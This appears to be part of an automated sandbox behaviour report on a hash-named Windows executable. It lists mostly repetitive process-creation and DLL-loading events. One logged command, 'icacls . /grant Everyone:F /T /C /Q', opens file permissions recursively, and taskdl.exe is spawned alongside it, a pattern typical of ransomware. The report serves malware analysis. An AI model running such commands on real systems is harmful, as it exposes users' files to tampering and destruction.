              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /QJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeSection loaded: msvcp60.dllJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeSection loaded: ntmarta.dllJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\System32\dllhost.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: propsys.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: onecoreuapcommonproxystub.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: windows.staterepositoryps.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: wintypes.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: apphelp.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: mfsrcsnk.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: mfplat.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: rtworkq.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: photometadatahandler.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: windowscodecs.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: apphelp.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: urlmon.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: iertutil.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: srvcli.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: netutils.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: kernel.appcore.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: uxtheme.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: wininet.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: sspicli.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: windows.storage.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: wldp.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: profapi.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: ondemandconnroutehelper.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: winhttp.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: iphlpapi.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: mswsock.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: winnsi.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: dnsapi.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: rasadhlp.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: fwpuclnt.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: ntvdm64.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: version.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: textshaping.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: textinputframework.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: coreuicomponents.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: coremessaging.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: ntmarta.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: coremessaging.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: wintypes.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: wintypes.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: wintypes.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: ntvdm64.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: version.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: ntvdm64.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSection loaded: version.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: wininet.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: esent.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: powrprof.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: umpdc.dll
              Source: C:\Windows\System32\dllhost.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: moshost.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: mapsbtsvc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: mosstorage.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ztrace_maps.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ztrace_maps.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: bcp47langs.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: mapconfiguration.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
              Source: C:\Windows\SysWOW64\attrib.exeSection loaded: ulib.dll
              Source: C:\Windows\SysWOW64\attrib.exeSection loaded: fsutilext.dll
              Source: C:\Windows\SysWOW64\icacls.exeSection loaded: ntmarta.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: apphelp.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: version.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: uxtheme.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: sxs.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: vbscript.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: amsi.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: userenv.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: profapi.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: wldp.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: msasn1.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: cryptsp.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: rsaenh.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: cryptbase.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: msisip.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: wshext.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: scrobj.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: mpr.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: scrrun.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: windows.storage.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: propsys.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: linkinfo.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: ntshrui.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: sspicli.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: srvcli.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: cscapi.dll
              Source: C:\Windows\SysWOW64\cscript.exeSection loaded: netutils.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wersvc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: windowsperformancerecordercontrol.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: weretw.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wer.dll
